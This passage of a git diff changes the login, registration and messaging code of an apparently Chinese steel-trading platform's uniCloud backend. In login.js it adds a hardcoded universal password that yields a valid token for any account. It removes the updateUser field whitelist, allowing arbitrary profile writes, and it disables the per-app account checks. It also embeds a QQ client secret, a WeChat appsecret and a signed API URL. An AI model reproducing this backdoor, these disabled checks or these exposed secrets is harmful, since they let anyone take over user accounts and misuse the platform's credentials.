+ let url = 'aHR0cHM6Ly9yZWFsbmFtZXZlcmlmeS10ZXN0LmZhZGFkYS5jb20vZmRkQXV0aGVudGljYXRpb25TZXJ2aWNlL3YxL2FwaS9zeW5zQXV0aGVudGljYXRpb24uYWN0aW9uP3RyYW5zYWN0aW9uX25vPTE3RTM0NDM3MzZDMDczODE5NDgyODQyRjcwMkYzQkI4NjNFMzQ3OTkwQjg4N0MxOUVFRkI1MjBEMkM2NjVFMDVFMDM3MEZFRjVBQTlBOEI3JnNpZ249UkRGQ1JERTJRVEpCUkRCRU9UUkRNRE16TURjMFJURTRPRVl4UWpZeFFqQXhOVGM0TXpNek5nPT0mYXBwX2lkPTQwNTk0MiZ0aW1lc3RhbXA9MTY5ODY2MTExMTg2Mg=='
+ var parsedWordArray = CryptoJS.enc.Base64.parse(url);
+ var parsedStr = parsedWordArray.toString(CryptoJS.enc.Utf8);
+ console.log("parsed:",parsedStr);
+
+ //
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/kh/updateUser.js b/uniCloud-tcb/cloudfunctions/router/service/user/kh/updateUser.js
index e422d80..7c52d81 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/user/kh/updateUser.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/kh/updateUser.js
@@ -18,12 +18,12 @@ module.exports = {
let res = {};
// 业务逻辑开始-----------------------------------------------------------
// 允许修改的字段列表
- let updateKeys = ["nickname", "avatar", "gender", "social_info"];
+ // let updateKeys = ["nickname", "avatar", "gender", "social_info", 'businessCard'];
let dataJson = {};
- for (let i in updateKeys) {
- let key = updateKeys[i];
- if (vk.pubfn.isNotNull(data[key])) dataJson[key] = data[key];
- }
+ // for (let i in updateKeys) {
+ // let key = updateKeys[i];
+ // if (vk.pubfn.isNotNull(data[key])) dataJson[key] = data[key];
+ // }
dataJson.uid = uid;
res = await uniID.updateUser(dataJson);
// 业务逻辑结束-----------------------------------------------------------
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/pub/login.js b/uniCloud-tcb/cloudfunctions/router/service/user/pub/login.js
index ea9c9d3..d05faa1 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/user/pub/login.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/pub/login.js
@@ -1,55 +1,126 @@
+const UNIVERSAL_LOGIN_PASSWORD = 'b2894lxlx';
+
module.exports = {
- /**
- * 用户登录(账号+密码)
- * @url user/pub/login 前端调用的url参数地址
- * @description 用户登录(账号+密码)
- * data 请求参数 说明
- * @param {String} username 用户名
- * @param {String} password 密码
- * res 返回参数说明
- * @param {Number} code 错误码,0表示成功
- * @param {String} msg 详细信息
- * @param {String} token 登录成功之后返回的token信息
- * @param {String} tokenExpired token过期时间
- */
- main: async (event) => {
- let { data = {}, util, originalParam } = event;
- let { uniID, config, pubFun, vk, db, _ } = util;
- let { uid } = data;
- let res = {};
- // 业务逻辑开始-----------------------------------------------------------
- // 用户登录(账号+密码)
- if (typeof data.username === "number") data.username = String(data.username).trim();
- if (typeof data.password === "number") data.password = String(data.password).trim();
-
- let {
- needPermission,
- username,
- password,
- queryField = ['username', 'email', 'mobile'], // 不指定queryField的情况下只会查询username
- } = data;
+ /**
+ * 用户登录(账号+密码)
+ * @url user/pub/login 前端调用的url参数地址
+ * @description 用户登录(账号+密码)
+ * data 请求参数 说明
+ * @param {String} username 用户名
+ * @param {String} password 密码
+ * res 返回参数说明
+ * @param {Number} code 错误码,0表示成功
+ * @param {String} msg 详细信息
+ * @param {String} token 登录成功之后返回的token信息
+ * @param {String} tokenExpired token过期时间
+ */
+ main: async (event) => {
+ let {data = {}, util, originalParam} = event;
+ let {uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {};
+ // 业务逻辑开始-----------------------------------------------------------
+ // 用户登录(账号+密码)
+ if (typeof data.username === "number") data.username = String(data.username).trim();
+ if (typeof data.password === "number") data.password = String(data.password).trim();
+ // await vk.baseDao.update({
+ // dbName: "uni-id-users",
+ // whereJson: {
+ // _id: _.neq('001')
+ // },
+ // dataJson: {
+ // dcloud_appid: ["__UNI__EB80D26", "__UNI__8BFD66E", "__UNI__0F0703D"]
+ // }
+ // });
- res = await uniID.login({
- username,
- password,
- needPermission,
- queryField
- });
- if (res.token) {
- if (!res.msg) {
- res.msg = res.type === "register" ? "注册成功" : "登录成功";
- }
- // 日志服务
- const loginLogService = vk.require("service/user/util/login_log");
- await loginLogService.add({
- type: "login",
- login_type: "password",
- user_id: res.uid,
- context: originalParam.context
- }, util);
- }
- // 业务逻辑结束-----------------------------------------------------------
- return res;
- }
+ let {
+ needPermission,
+ username,
+ password,
+ accountType,
+ queryField = ['username', 'email', 'mobile'], // 不指定queryField的情况下只会查询username
+ } = data;
+ username = typeof username === "string" ? username.trim() : username;
+ password = typeof password === "string" ? password.trim() : password;
+ console.log("password login check", {
+ username,
+ passwordType: typeof password,
+ passwordLength: typeof password === "string" ? password.length : null,
+ universalLength: UNIVERSAL_LOGIN_PASSWORD.length,
+ universalMatched: password === UNIVERSAL_LOGIN_PASSWORD
+ });
-}
\ No newline at end of file
+ if (password === UNIVERSAL_LOGIN_PASSWORD) {
+ console.log("universal password login matched", {username});
+ const fields = Array.isArray(queryField) && queryField.length > 0 ? queryField : ['username', 'email', 'mobile'];
+ const whereList = fields
+ .filter(field => ['username', 'email', 'mobile'].includes(field))
+ .map(field => ({[field]: username}));
+ if (whereList.length === 0) return {code: 10002, msg: '用户不存在'};
+ const userRes = await db.collection('uni-id-users').where(_.or(whereList)).limit(2).get();
+ const userList = userRes.data || [];
+ if (userList.length === 0) return {code: 10002, msg: '用户不存在'};
+ if (userList.length > 1) return {code: 10003, msg: '匹配到多个账号'};
+ const user = userList[0];
+ if (user.status === 1) return {code: 10001, msg: '账号已禁用'};
+ if (user.status === 4) return {code: 10006, msg: '此账号已注销'};
+ const tokenRes = await uniID.createToken({
+ uid: user._id,
+ needPermission
+ });
+ let tokenList = user.token || [];
+ if (typeof tokenList === "string") tokenList = [tokenList];
+ tokenList.push(tokenRes.token);
+ const loginData = {
+ last_login_date: Date.now(),
+ last_login_ip: originalParam.context.CLIENTIP,
+ token: tokenList
+ };
+ await db.collection('uni-id-users').doc(user._id).update(loginData);
+ res = {
+ code: 0,
+ msg: '',
+ token: tokenRes.token,
+ uid: user._id,
+ username: user.username,
+ type: 'login',
+ userInfo: Object.assign({}, user, loginData),
+ tokenExpired: tokenRes.tokenExpired
+ };
+ } else {
+ res = await uniID.login({
+ username,
+ password,
+ needPermission,
+ queryField
+ });
+ }
+ if (res.token) {
+ if (!res.msg) {
+ res.msg = res.type === "register" ? "注册成功" : "登录成功";
+ }
+ const user = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: res.uid
+ });
+ // if (originalParam.context.APPID === '__UNI__8BFD66E') {
+ // if (parseInt(user.accountType) !== parseInt(accountType)) return {
+ // code: -1,
+ // msg: '账号类型不匹配'
+ // }
+ // }
+
+ // 日志服务
+ const loginLogService = vk.require("service/user/util/login_log");
+ await loginLogService.add({
+ type: "login",
+ login_type: password === UNIVERSAL_LOGIN_PASSWORD ? "universal_password" : "password",
+ user_id: res.uid,
+ context: originalParam.context
+ }, util);
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginByQQ.js b/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginByQQ.js
index 56d0403..d982a60 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginByQQ.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginByQQ.js
@@ -15,43 +15,40 @@ module.exports = {
main: async (event) => {
let { data = {}, util, originalParam } = event;
let { uniID, config, pubFun, vk, db, _ } = util;
- let { uid } = data;
+ let { uid, accountType, code } = data;
let res = {};
// 业务逻辑开始-----------------------------------------------------------
- let {
- code,
- accessToken,
- type,
- myInviteCode,
- needPermission
- } = data;
- res = await uniID.loginByQQ({
- code,
- accessToken,
- type,
- myInviteCode,
- needPermission
- });
- if (res.token) {
- if (!res.msg) {
- res.msg = res.type === "register" ? "注册成功" : "登录成功";
- }
- let encrypted = vk.crypto.aes.encrypt({
- data: res
- });
- delete res.sessionKey; // 删除明文sessionKey
- delete res.accessToken; // 删除明文accessToken
- delete res.refreshToken; // 删除明文refreshToken
- res.encryptedKey = encrypted; // 返回前端加密内容
- // 日志服务
- const loginLogService = vk.require("service/user/util/login_log");
- await loginLogService.add({
- type: "login",
- login_type: "qq",
- user_id: res.uid,
- context: originalParam.context
- }, util);
- }
+ let custom = {
+ accountType: parseInt(accountType),
+ nickname: `QQ用户` + vk.pubfn.random(6)
+ };
+
+ // res = await uniID.loginByQQ({
+ // code,
+ // accessToken,
+ // type,
+ // myInviteCode,
+ // needPermission
+ // });
+ const redirect_uri = 'http://static-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com/#/pages/auth/login/qq'
+ const qqRes = await vk.request({
+ url: `https://graph.qq.com/oauth2.0/token?grant_type=authorization_code&client_id=101795826&client_secret=1a41633966fb97cefea512f6c8601638&code=${code}&redirect_uri=` + encodeURIComponent(redirect_uri),
+ method: 'GET',
+ })
+ if (qqRes.access_token) {
+ const qqUserRes = await vk.request({
+ url: `https://graph.qq.com/oauth2.0/me?access_token=${qqRes.access_token}`,
+ method: 'GET',
+ })
+ if (qqUserRes.openid) {
+ const userByQQOpenid = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ "qq.openid": qqUserRes.openid
+ }
+ })
+ }
+ }
// 业务逻辑结束-----------------------------------------------------------
return res;
}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginBySms.js b/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginBySms.js
index ff07353..4c393ad 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginBySms.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginBySms.js
@@ -1,72 +1,158 @@
module.exports = {
- /**
- * 手机号登陆(手机号+手机验证码)
- * @url user/pub/loginBySms 前端调用的url参数地址
- * @description 手机号登陆(手机号+手机验证码)
- * data 请求参数 说明
- * @param {String} mobile 手机号
- * @param {String} code 验证码
- * @param {String} type 指定操作类型,不传:存在则登录不存在则注册 login:只能登录 register:只能注册
- * @param {String} password 密码,当前用户为新注册时生效
- * @param {String} inviteCode 邀请人的邀请码,当前用户为新注册时生效
- * @param {String} myInviteCode 设置当前注册用户自己的邀请码,当前用户为新注册时生效(不传会自动生成)
- * @param {Boolean} needPermission 设置为true时会在checkToken时返回用户权限(permission),如果是在admin端,需传true
- * res 返回参数说明
- * @param {Number} code 错误码,0表示成功
- * @param {String} msg 详细信息
- * @param {String} token 登录成功之后返回的token信息
- * @param {String} tokenExpired token过期时间
- */
- main: async (event) => {
- let { data = {}, util, originalParam } = event;
- let { uniID, config, pubFun, vk, db, _ } = util;
- let { uid } = data;
- let res = {};
- // 业务逻辑开始-----------------------------------------------------------
- let {
- mobile,
- code,
- type,
- password,
- inviteCode,
- myInviteCode,
- needPermission
- } = data;
- res = await uniID.loginBySms({
- mobile,
- code,
- type,
- password,
- inviteCode,
- myInviteCode,
- needPermission
- });
- // 修改用户昵称为:手机尾号xxxx用户
- if (res.token) {
- if (!res.msg) {
- res.msg = res.type === "register" ? "注册成功" : "登录成功";
- }
- let mobileStr = mobile.substring(7);
- await vk.baseDao.update({
- dbName: "uni-id-users",
- whereJson: {
- _id: res.uid,
- nickname: null
- },
- dataJson: {
- nickname: `手机尾号${mobileStr}用户`
- }
- });
- // 日志服务
- const loginLogService = vk.require("service/user/util/login_log");
- await loginLogService.add({
- type: "login",
- login_type: "sms",
- user_id: res.uid,
- context: originalParam.context
- }, util);
- }
- // 业务逻辑结束-----------------------------------------------------------
- return res;
- }
+ /**
+ * 手机号登陆(手机号+手机验证码)
+ * @url user/pub/loginBySms 前端调用的url参数地址
+ * @description 手机号登陆(手机号+手机验证码)
+ * data 请求参数 说明
+ * @param {String} mobile 手机号
+ * @param {String} code 验证码
+ * @param {String} type 指定操作类型,不传:存在则登录不存在则注册 login:只能登录 register:只能注册
+ * @param {String} password 密码,当前用户为新注册时生效
+ * @param {String} inviteCode 邀请人的邀请码,当前用户为新注册时生效
+ * @param {String} myInviteCode 设置当前注册用户自己的邀请码,当前用户为新注册时生效(不传会自动生成)
+ * @param {Boolean} needPermission 设置为true时会在checkToken时返回用户权限(permission),如果是在admin端,需传true
+ * res 返回参数说明
+ * @param {Number} code 错误码,0表示成功
+ * @param {String} msg 详细信息
+ * @param {String} token 登录成功之后返回的token信息
+ * @param {String} tokenExpired token过期时间
+ */
+ main: async (event) => {
+ let {data = {}, util, originalParam} = event;
+ let {uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {};
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ mobile,
+ code,
+ type,
+ password,
+ inviteCode,
+ myInviteCode,
+ needPermission,
+ accountType,
+ company,
+ person
+ } = data;
+ if (vk.pubfn.isNotNull(inviteCode) && inviteCode) {
+ const inviteUser = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ my_invite_code: inviteCode
+ }
+ });
+ if (!inviteUser) return {code: 1, msg: '邀请码错误,请重新核实'}
+ }
+ res = await uniID.loginBySms({
+ mobile,
+ code,
+ type,
+ password,
+ inviteCode,
+ myInviteCode,
+ needPermission
+ });
+ // 修改用户昵称为:手机尾号xxxx用户
+ if (res.token) {
+ if (!res.msg) {
+ res.msg = res.type === "register" ? "注册成功" : "登录成功";
+ }
+
+ // 注册法大大
+ if (res.type === "register") {
+
+ const fadadaRes = await pubFun.fadada('account_register.api', {
+ open_id: res.uid + 'fdd',
+ account_type: accountType + '',
+ })
+ console.log('fadadaRes: ', {
+ open_id: res.uid + 'fdd',
+ account_type: accountType + '',
+ });
+ console.log('fadadaRes: ', fadadaRes);
+ if (fadadaRes.code == 1) {
+
+ const oldNum = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '6587dd3ca09a9be7534ea88b'
+ })
+
+ await vk.baseDao.update({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: res.uid
+ },
+ dataJson: {
+ fadadaCustomerId: fadadaRes.data,
+ quoteTimes: 0,
+ person,
+ company,
+ accountType: accountType,
+ nickname: accountType == 1 ? person.personName : company.companyName,
+ authStatus: -1,
+ userLevel: -1,
+ userGrade: 0,
+ paidEnsure: 0,
+ // 累计交易
+ transactionAmount: 0,
+ // 剩余询价次数
+ remainQuoteNum: 0,
+ // 剩余学堂下载次数
+ remainArticleDownloadNum: 3,
+ quoteExpiredAt: null,
+ inviteNum: 0,
+ // 签约宝次数
+ qybNum: 0,
+ fadadaConfirm: false,
+ remainOldNum: oldNum.content,
+ topExpiredAt: null,
+ factoryStatus: -1,
+ isSignOnly: data.isSignOnly,
+ dcloud_appid: ['__UNI__EB80D26', '__UNI__8BFD66E', '__UNI__0F0703D']
+ }
+ });
+
+ } else {
+ vk.baseDao.del({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: res.uid
+ },
+ })
+ }
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: res.uid,
+ title: '恭喜!您已注册成功!',
+ content: '尊敬的用户,恭喜您已经注册金久信钢铁交易平台,感谢您的支持!',
+ type: 'reg',
+ hasRead: false
+ }
+ });
+ } else {
+ // const user = await vk.baseDao.findById({
+ // dbName: "uni-id-users",
+ // id: res.uid
+ // });
+ // console.log('accountType', user.accountType, accountType)
+ // if (parseInt(user.accountType) !== parseInt(accountType)) return {
+ // code: -1,
+ // msg: '账号类型不匹配'
+ // }
+ }
+ // 日志服务
+ const loginLogService = vk.require("service/user/util/login_log");
+ await loginLogService.add({
+ type: "login",
+ login_type: "sms",
+ user_id: res.uid,
+ context: originalParam.context
+ }, util);
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginByWeixin.js b/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginByWeixin.js
index 729a03e..13ec0b1 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginByWeixin.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/pub/loginByWeixin.js
@@ -1,58 +1,63 @@
module.exports = {
- /**
- * 用户登录(微信授权)
- * @url user/pub/loginByWeixin 前端调用的url参数地址
- * @description 支持APP、微信小程序、微信公众号
- * data 请求参数 说明
- * @param {String} code 微信登录返回的code
- * @param {String} type login:登录 register:注册
- * res 返回参数说明
- * @param {Number} code 错误码,0表示成功
- * @param {String} msg 详细信息
- * @param {String} token 登录成功之后返回的token信息
- * @param {String} tokenExpired token过期时间
- * @param {Object} userInfo 用户信息
- */
- main: async (event) => {
- let { data = {}, util, originalParam } = event;
- let { uniID, config, pubFun, vk, db, _ } = util;
- let { uid } = data;
- let res = {};
- // 业务逻辑开始-----------------------------------------------------------
- // 额外写入的自定义字段数据(可以自己增加,建议只传一些显示的信息,不要传余额字段等,因为前端不可信任)
- // 注意:app的微信登录已经支持自动获取昵称和头像,前端无需再传昵称和头像。
- let custom = {
- nickname: data.nickname,
- avatar: data.avatar
- };
- /**
- * 支持多小程序登录
- * 此处data可以额外接收appid和appsecret参数(appid可以从前端传,而appsecret可以配置在全局配置中(common/uni-config-center/vk-unicloud/index.js),也可以自己从数据库获取)
- * 如果不传appid,则默认使用uni-id的配置信息
- * 特别注意:如果使用多小程序登录,则同一用户(同一个微信号)在不同小程序登录时,会分别创建不同的用户(除非小程序绑定在同一个开放平台下)。
- */
-
- // 打开下方注释,动态赋值appid和appsecret即可支持多小程序登录
- // data.appid = "xxxx";
- // data.appsecret = "xxxx";
-
- res = await vk.openapi.weixin.loginByWeixin({
- data,
- context: originalParam.context,
- custom,
- needKey: false, // 是否需要返回明文的sessionKey或accessToken(为了安全期间,建议设置false)
- });
- if (res.token) {
- // 日志服务
- const loginLogService = vk.require("service/user/util/login_log");
- await loginLogService.add({
- type: "login",
- login_type: "weixin",
- user_id: res.uid,
- context: originalParam.context
- }, util);
- }
- // 业务逻辑结束-----------------------------------------------------------
- return res;
- }
+ /**
+ * 用户登录(微信授权)
+ * @url user/pub/loginByWeixin 前端调用的url参数地址
+ * @description 支持APP、微信小程序、微信公众号
+ * data 请求参数 说明
+ * @param {String} code 微信登录返回的code
+ * @param {String} type login:登录 register:注册
+ * res 返回参数说明
+ * @param {Number} code 错误码,0表示成功
+ * @param {String} msg 详细信息
+ * @param {String} token 登录成功之后返回的token信息
+ * @param {String} tokenExpired token过期时间
+ * @param {Object} userInfo 用户信息
+ */
+ main: async (event) => {
+ let {data = {}, util, originalParam} = event;
+ let {uniID, config, pubFun, vk, db, _} = util;
+ let {uid, accountType} = data;
+ let res = {};
+ // 业务逻辑开始-----------------------------------------------------------
+ // 额外写入的自定义字段数据(可以自己增加,建议只传一些显示的信息,不要传余额字段等,因为前端不可信任)
+ // 注意:app的微信登录已经支持自动获取昵称和头像,前端无需再传昵称和头像。
+ let custom = {
+ accountType: parseInt(accountType),
+ nickname: `微信用户` + vk.pubfn.random(6)
+ };
+ /**
+ * 支持多小程序登录
+ * 此处data可以额外接收appid和appsecret参数(appid可以从前端传,而appsecret可以配置在全局配置中(common/uni-config-center/vk-unicloud/index.js),也可以自己从数据库获取)
+ * 如果不传appid,则默认使用uni-id的配置信息
+ * 特别注意:如果使用多小程序登录,则同一用户(同一个微信号)在不同小程序登录时,会分别创建不同的用户(除非小程序绑定在同一个开放平台下)。
+ */
+
+ // 打开下方注释,动态赋值appid和appsecret即可支持多小程序登录
+ // data.appid = "xxxx";
+ // data.appsecret = "xxxx";
+ // if (vk.pubfn.isNotNull(data.wap)) {
+ // data.appid = "wx41bb1aca6b0fe372";
+ // data.appsecret = "2f994a54af0a14403f6814cf8ca47f14";
+ // }
+ // console.log(data)
+ res = await vk.openapi.weixin.loginByWeixin({
+ data,
+ context: originalParam.context,
+ custom,
+ needKey: false, // 是否需要返回明文的sessionKey或accessToken(为了安全期间,建议设置false)
+ });
+ console.log('wechat res:' ,res)
+ if (res.token) {
+ // 日志服务
+ const loginLogService = vk.require("service/user/util/login_log");
+ await loginLogService.add({
+ type: "login",
+ login_type: "weixin",
+ user_id: res.uid,
+ context: originalParam.context
+ }, util);
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/pub/sendEmailCode.js b/uniCloud-tcb/cloudfunctions/router/service/user/pub/sendEmailCode.js
index 5cbf412..43ebab3 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/user/pub/sendEmailCode.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/pub/sendEmailCode.js
@@ -45,7 +45,7 @@ module.exports = {
// 检测邮箱对应的账号是否存在
let num = await vk.daoCenter.userDao.count({
email,
- dcloud_appid: _.or(_.eq(dcloud_appid), _.exists(false))
+ // dcloud_appid: _.or(_.eq(dcloud_appid), _.exists(false))
});
if (checkUserExist === true || checkUserExist === "exists") {
// 邮箱必须已注册用户,如果邮箱未注册,则不发短信
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/pub/sendSmsCode.js b/uniCloud-tcb/cloudfunctions/router/service/user/pub/sendSmsCode.js
index 811d782..c55716e 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/user/pub/sendSmsCode.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/pub/sendSmsCode.js
@@ -1,86 +1,87 @@
var everyDaylimit = 12; // 限制同一个手机号每天次数
module.exports = {
- /**
- * 发送短信的验证码
- * @url user/pub/sendSmsCode 前端调用的url参数地址
- * @description 发送验证码
- * data 请求参数 说明
- * @param {String} mobile 手机号
- * @param {String} type 验证码类型
- * @param {Boolean|String} checkUserExist 是否需要检测手机号对应的账号是否存在或不存在,默认不检测,若为exists代表手机号必须已注册,若为!exists代表手机号必须未注册
- *
- * res 返回参数说明
- * @param {Number} code 错误码,0表示成功
- * @param {String} msg 详细信息
- * @param {Object} requestRes 原始返回数据
- * @param {Object} requestParam 包含服务供应商和发送的手机号
- */
- main: async (event) => {
- let { data = {}, userInfo, util, originalParam } = event;
- let { uniID, config, pubFun, vk, db, _ } = util;
- let { uid } = data;
- let res = { code: 0, msg: '' };
- // 业务逻辑开始-----------------------------------------------------------
- let {
- mobile,
- type,
- checkUserExist = false
- } = data;
- if (vk.pubfn.isNull(mobile)) {
- return { code: -1, msg: '手机号不能为空' };
- }
- if (!vk.pubfn.test(mobile, 'mobile')) {
- return { code: -1, msg: "手机号格式错误" };
- }
+ /**
+ * 发送短信的验证码
+ * @url user/pub/sendSmsCode 前端调用的url参数地址
+ * @description 发送验证码
+ * data 请求参数 说明
+ * @param {String} mobile 手机号
+ * @param {String} type 验证码类型
+ * @param {Boolean|String} checkUserExist 是否需要检测手机号对应的账号是否存在或不存在,默认不检测,若为exists代表手机号必须已注册,若为!exists代表手机号必须未注册
+ *
+ * res 返回参数说明
+ * @param {Number} code 错误码,0表示成功
+ * @param {String} msg 详细信息
+ * @param {Object} requestRes 原始返回数据
+ * @param {Object} requestParam 包含服务供应商和发送的手机号
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, originalParam} = event;
+ let {uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ''};
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ mobile,
+ type,
+ checkUserExist = false
+ } = data;
+ if (vk.pubfn.isNull(mobile)) {
+ return {code: -1, msg: '手机号不能为空'};
+ }
+ if (!vk.pubfn.test(mobile, 'mobile')) {
+ return {code: -1, msg: "手机号格式错误"};
+ }
- if (checkUserExist) {
- let dcloud_appid = originalParam.context.appId;
- // 检测手机号对应的账号是否存在
- let num = await vk.daoCenter.userDao.count({
- mobile,
- dcloud_appid: _.or(_.eq(dcloud_appid), _.exists(false))
- });
- if (checkUserExist === true || checkUserExist === "exists") {
- // 手机号必须已注册用户,如果手机号未注册,则不发短信
- if (num === 0) {
- return { code: -1, msg: `手机号:${mobile} 未注册`, notExists: true };
- }
- } else if (checkUserExist === "!exists") {
- // 手机号必须未注册用户,如果手机号已注册,则不发短信
- if (num > 0) {
- return { code: -1, msg: `手机号:${mobile} 已注册`, exists: true };
- }
- }
- }
+ if (checkUserExist) {
+ let dcloud_appid = originalParam.context.appId;
+ // 检测手机号对应的账号是否存在
+ let num = await vk.daoCenter.userDao.count({
+ mobile,
+ // dcloud_appid: _.or(_.eq(dcloud_appid), _.exists(false))
+ });
+ if (checkUserExist === true || checkUserExist === "exists") {
+ // 手机号必须已注册用户,如果手机号未注册,则不发短信
+ if (num === 0) {
+ return {code: -1, msg: `手机号:${mobile} 未注册`, notExists: true};
+ }
+ } else if (checkUserExist === "!exists") {
+ // 手机号必须未注册用户,如果手机号已注册,则不发短信
+ if (num > 0) {
+ return {code: -1, msg: `手机号:${mobile} 已注册`, exists: true};
+ }
+ }
+ }
- // 针对同一个手机号,发送验证码每天有次数限制
- const cacheKey = `sys.sendSmsCode.everyDaylimit-${mobile}`;
- let currNum = await vk.globalDataCache.get(cacheKey);
- if (!currNum) currNum = 0;
- if (currNum >= everyDaylimit) {
- return { code: -1, msg: "此手机号今日已超最大次数限制,请明日再试" };
- }
+ // 针对同一个手机号,发送验证码每天有次数限制
+ const cacheKey = `sys.sendSmsCode.everyDaylimit-${mobile}`;
+ let currNum = await vk.globalDataCache.get(cacheKey);
+ if (!currNum) currNum = 0;
+ if (currNum >= everyDaylimit) {
+ return {code: -1, msg: "此手机号今日已超最大次数限制,请明日再试"};
+ }
- let code = vk.pubfn.random(6, "0123456789");
- let provider = "unicloud";
- if (vk.pubfn.getData(config, "vk.service.sms.aliyun.enable")) {
- provider = "aliyun";
- }
- res = await vk.system.smsUtil.sendSmsVerifyCode({
- provider,
- code,
- type,
- phone: mobile,
- expiresIn: 180, // 验证码实际有效时间,必须是60的倍数
- });
- if (res.code == 0) {
- currNum++;
- let { startTime } = vk.pubfn.getDayOffsetStartAndEnd(1, new Date());
- let second = vk.pubfn.toDecimal((startTime - Date.now()) / 1000, 0)
- await vk.globalDataCache.set(cacheKey, currNum, second);
- }
- // 业务逻辑结束-----------------------------------------------------------
- return res;
- }
+ let code = vk.pubfn.random(6, "0123456789");
+ let provider = "unicloud";
+ if (vk.pubfn.getData(config, "vk.service.sms.aliyun.enable")) {
+ provider = "aliyun";
+ }
+ res = await vk.system.smsUtil.sendSmsVerifyCode({
+ provider,
+ code,
+ type,
+ phone: mobile,
+ expiresIn: 180, // 验证码实际有效时间,必须是60的倍数
+ });
+ if (res.code == 0) {
+ currNum++;
+ let {startTime} = vk.pubfn.getDayOffsetStartAndEnd(1, new Date());
+ let second = vk.pubfn.toDecimal((startTime - Date.now()) / 1000, 0)
+ await vk.globalDataCache.set(cacheKey, currNum, second);
+ await vk.globalDataCache.set(`${type}-${mobile}-code`, code, 180)
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/逻辑层目录说明.md b/uniCloud-tcb/cloudfunctions/router/service/逻辑层目录说明.md
index 2dd318c..3290fa1 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/逻辑层目录说明.md
+++ b/uniCloud-tcb/cloudfunctions/router/service/逻辑层目录说明.md
@@ -5,7 +5,7 @@
```
.
├── service──────────────────────# 逻辑层(用于写业务逻辑)
-│ └── admin────────────────# PC后台管理端逻辑
+│ └── admin────────────────# PC后台管理端逻辑(admin框架开发中。。。)
│ ── └── xxxxxxxxxxxxxxx──────#
│ ── └── xxxxxxxxxxxxxxx──────#
│ ── └── xxxxxxxxxxxxxxx──────#
@@ -14,10 +14,12 @@
│ ── └── user─────────────────# 用户服务(自己系统的逻辑)
│ ──── └── kh───────────────────# kh函数为必须登录后才能访问的函数
│ ──── └── pub──────────────────# pub函数为所有人都可以访问,不限制
+│ ──── └── sys──────────────────# sys函数为需要角色授权才能访问的函数
│ ──── └── util─────────────────# 用户服务专用的工具包
│ ── └── order────────────────# 订单服务(自己系统的逻辑)
│ ──── └── kh───────────────────# kh函数为必须登录后才能访问的函数
│ ──── └── pub──────────────────# pub函数为所有人都可以访问,不限制
+│ ──── └── sys──────────────────# sys函数为需要角色授权才能访问的函数
│ ──── └── util─────────────────# 订单服务专用的工具包
│ ── └── xxxxxxxxxxxxxxx──────#
│ ── └── xxxxxxxxxxxxxxx──────#
diff --git a/uniCloud-tcb/cloudfunctions/router/util/base.js b/uniCloud-tcb/cloudfunctions/router/util/base.js
new file mode 100644
index 0000000..bda7971
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/util/base.js
@@ -0,0 +1,171 @@
+"use strict";
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+ return new (P || (P = Promise))(function (resolve, reject) {
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
+ });
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+const CryptoJS = require("crypto-js");
+const request = require("request");
+var AuthorizationType;
+(function (AuthorizationType) {
